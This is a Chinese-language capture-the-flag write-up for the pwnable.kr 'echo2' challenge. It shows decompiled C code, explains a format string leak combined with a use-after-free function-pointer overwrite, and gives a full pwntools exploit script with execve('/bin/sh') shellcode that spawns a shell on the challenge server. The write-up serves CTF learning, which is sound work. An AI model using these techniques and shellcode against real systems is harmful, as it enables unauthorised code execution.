[Pwnable.kr] echo2
FSB+UAF,比较常规的套路题
首先F5
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 |
int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int *v3; // rsi@1 _QWORD *v4; // rax@1 unsigned int v6; // [rsp+Ch] [rbp-24h]@1 __int64 v7; // [rsp+10h] [rbp-20h]@1 __int64 v8; // [rsp+18h] [rbp-18h]@1 __int64 v9; // [rsp+20h] [rbp-10h]@1 setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); o = malloc(0x28uLL); *((_QWORD *)o + 3) = greetings; *((_QWORD *)o + 4) = byebye; printf("hey, what's your name? : ", 0LL); v3 = (unsigned int *)&v7; __isoc99_scanf((__int64)"%24s", (__int64)&v7); v4 = o; *(_QWORD *)o = v7; v4[1] = v8; v4[2] = v9; id = v7; getchar(); func[0] = (__int64)echo1; qword_602088 = (__int64)echo2; qword_602090 = (__int64)echo3; v6 = 0; do { while ( 1 ) { while ( 1 ) { puts("\n- select echo type -"); puts("- 1. : BOF echo"); puts("- 2. : FSB echo"); puts("- 3. : UAF echo"); puts("- 4. : exit"); printf("> ", v3); v3 = &v6; __isoc99_scanf((__int64)"%d", (__int64)&v6); getchar(); if ( v6 > 3 ) break; ((void (__fastcall *)(const char *, unsigned int *))func[(unsigned __int64)(v6 - 1)])("%d", &v6); } if ( v6 == 4 ) break; puts("invalid menu"); } cleanup(); printf("Are you sure you want to exit? (y/n)", &v6); v6 = getchar(); } while ( v6 != 121 ); puts("bye"); return 0; } __int64 echo2() { char format; // [rsp+0h] [rbp-20h]@1 (*((void (__fastcall **)(void *))o + 3))(o); get_input(&format, 32LL); printf(&format); (*((void (__fastcall **)(void *))o + 4))(o); return 0LL; } __int64 echo3() { char *s; // ST08_8@1 (*((void (__fastcall **)(void *))o + 3))(o); s = (char *)malloc(0x20uLL); get_input(s, 32LL); puts(s); free(s); (*((void (__fastcall **)(void *, signed __int64))o + 4))(o, 32LL); return 0LL; } |
两个漏洞比较显然,一个在echo2里有FSB,可以leak出rbp的地址,另外在选择了4之后直接执行了free(o),这个时候再按n取消退出的话,程序并没有退出,然而o已经被free掉了,o的大小是40字节,这个时候如果我们再调用3,malloc一个32字节的空间,会把刚free掉的40字节分配回来,也就是o这个对象的一部分。其中o[3],o[4]是greeting和goodbye函数的指针,通过修改这两个指针可以跳到其他地方去。
具体的shellcode可以写在name里,网上找到一个只有23字节的shellcode(https://www.exploit-db.com/exploits/36858/),比shell-storm上的27字节的不知道短到哪里去了。name的地址可以根据echo2的rbp算出来,是0x20(可以用gdb看,也可以从ida的stack窗口看)。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
from pwn import * r = remote("pwnable.kr", 9011) r.recvuntil(":") # write shellcode in name (ebp-20h) r.sendline("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05") r.recvuntil(">") # leak name address r.sendline("2") r.sendline("%10$p") r.recvline() addr_name = int(r.recvline().strip(), 16) - 0x20 # free(o) r.sendline("4") r.sendline("n") # fill o[4] r.sendline("3") r.sendline("A"*24 + struct.pack('L', addr_name)) r.interactive() |
要注意把该读的读干净,要不读leak出来的地址的时候不对……